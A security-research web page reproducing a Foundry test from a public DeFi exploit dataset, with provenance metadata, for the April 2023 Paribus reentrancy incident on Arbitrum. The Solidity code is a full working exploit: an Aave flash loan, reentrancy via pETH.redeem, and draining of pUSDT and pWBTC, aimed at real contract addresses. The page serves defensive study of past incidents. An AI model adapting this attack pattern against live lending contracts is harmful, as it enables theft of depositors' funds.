Skip to content
THREATWIRE

Public reproduction file

src/test/2023-04/Paribus_exp.sol

Public reproduction file for dataset entry Paribus.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-04/Paribus_exp.sol130 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @Analysis
8// https://twitter.com/Phalcon_xyz/status/1645742620897955842
9// https://twitter.com/BlockSecTeam/status/1645744655357575170
10// https://twitter.com/peckshield/status/1645742296904929280
11// @TX
12// https://arbiscan.io/tx/0x0e29dcf4e9b211a811caf00fc8294024867bffe4ab2819cc1625d2e9d62390af
13// @Summary
14// a known reentrancy issue from the forked old version of CompoundV2
16interface CurvePool {
17 function exchange(uint256 i, uint256 j, uint256 dx, uint256 min_dy) external;
20contract ContractTest is Test {
21 IERC20 WBTC = IERC20(0x2f2a2543B76A4166549F7aaB2e75Bef0aefC5B0f);
22 IWFTM WETH = IWFTM(payable(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1));
23 IERC20 USDT = IERC20(0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9);
24 ICErc20Delegate pUSDT = ICErc20Delegate(0xD3e323a672F6568390f29f083259debB44C41f41);
25 ICErc20Delegate pWBTC = ICErc20Delegate(0x367351F854506DA9B230CbB5E47332b8E58A1863);
26 ICErc20Delegate pETH = ICErc20Delegate(0x375Ae76F0450293e50876D0e5bDC3022CAb23198);
27 IAaveFlashloan aaveV3 = IAaveFlashloan(0x794a61358D6845594F94dc1DB02A252b5b4814aD);
28 IUnitroller unitroller = IUnitroller(0x2130C88fd0891EA79430Fb490598a5d06bF2A545);
29 CurvePool curvePool = CurvePool(0x960ea3e3C7FB317332d990873d354E18d7645590);
30 Exploiter exploiter;
31 uint256 nonce;
33 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
35 function setUp() public {
36 cheats.createSelectFork("arbitrum", 79_308_097);
37 cheats.label(address(WBTC), "WBTC");
38 cheats.label(address(USDT), "USDT");
39 cheats.label(address(WETH), "WETH");
40 cheats.label(address(pUSDT), "pUSDT");
41 cheats.label(address(pETH), "pETH");
42 cheats.label(address(pWBTC), "pWBTC");
43 cheats.label(address(aaveV3), "aaveV3");
44 cheats.label(address(curvePool), "curvePool");
45 }
47 function testExploit() external {
48 payable(address(0)).transfer(address(this).balance);
49 address[] memory assets = new address[](2);
50 assets[0] = address(WETH);
51 assets[1] = address(USDT);
52 uint256[] memory amounts = new uint256[](2);
53 amounts[0] = 200 * 1e18;
54 amounts[1] = 30_000 * 1e6;
55 uint256[] memory modes = new uint256[](2);
56 modes[0] = 0;
57 modes[1] = 0;
58 aaveV3.flashLoan(address(this), assets, amounts, modes, address(this), "", 0);
59 exchangeUSDTWBTC();
61 emit log_named_decimal_uint(
62 "Attacker WETH balance after exploit", WETH.balanceOf(address(this)), WETH.decimals()
63 );
64 }
66 function executeOperation(
67 address[] calldata assets,
68 uint256[] calldata amounts,
69 uint256[] calldata premiums,
70 address initiator,
71 bytes calldata params
72 ) external payable returns (bool) {
73 USDT.approve(address(aaveV3), type(uint256).max);
74 WETH.approve(address(aaveV3), type(uint256).max);
75 USDT.approve(address(pUSDT), type(uint256).max);
76 WBTC.approve(address(pWBTC), type(uint256).max);
78 exploiter = new Exploiter();
79 WETH.transfer(address(exploiter), 100 * 1e18);
80 cheats.label(address(exploiter), "exploiter");
81 exploiter.mint();
83 WETH.withdraw(WETH.balanceOf(address(this)));
84 payable(address(pETH)).call{value: address(this).balance}("");
85 pUSDT.mint(USDT.balanceOf(address(this)));
86 address[] memory cTokens = new address[](2);
87 cTokens[0] = address(pETH);
88 cTokens[1] = address(pUSDT);
89 unitroller.enterMarkets(cTokens);
90 pETH.borrow(13_075_471_156_463_824_220);
91 pETH.redeem(pETH.balanceOf(address(this))); // Reentrancy enter point
93 exploiter.redeem();
94 payable(address(WETH)).call{value: address(this).balance}("");
95 return true;
96 }
98 receive() external payable {
99 if (nonce == 2) {
100 pUSDT.borrow(USDT.balanceOf(address(pUSDT)));
101 pWBTC.borrow(WBTC.balanceOf(address(pWBTC)));
102 }
103 nonce++;
104 }
106 function exchangeUSDTWBTC() internal {
107 USDT.approve(address(curvePool), type(uint256).max);
108 WBTC.approve(address(curvePool), type(uint256).max);
109 curvePool.exchange(0, 2, USDT.balanceOf(address(this)), 0);
110 curvePool.exchange(1, 2, WBTC.balanceOf(address(this)), 0);
111 }
114contract Exploiter is Test {
115 IERC20 WETH = IERC20(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1);
116 ICErc20Delegate pETH = ICErc20Delegate(0x375Ae76F0450293e50876D0e5bDC3022CAb23198);
118 function mint() external payable {
119 WETH.withdraw(WETH.balanceOf(address(this)));
120 payable(address(pETH)).call{value: address(this).balance}("");
121 }
123 function redeem() external payable {
124 pETH.redeem(pETH.balanceOf(address(this)));
125 payable(address(WETH)).call{value: address(this).balance}("");
126 WETH.transfer(msg.sender, WETH.balanceOf(address(this)));
127 }
129 receive() external payable {}

Analysis

Dataset entry

Public Foundry test for “Paribus” (2023-04-11). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

12 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

File record

Name
Paribus
Path
src/test/2023-04/Paribus_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
02d93eedf58b9cf5e7990b4091f2f8e74c64aa7a
Language
Solidity
Size
131 lines
Date
2023-04-11
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-04/Paribus_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 02d93eedf58b9cf5e7990b4091f2f8e74c64aa7a, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.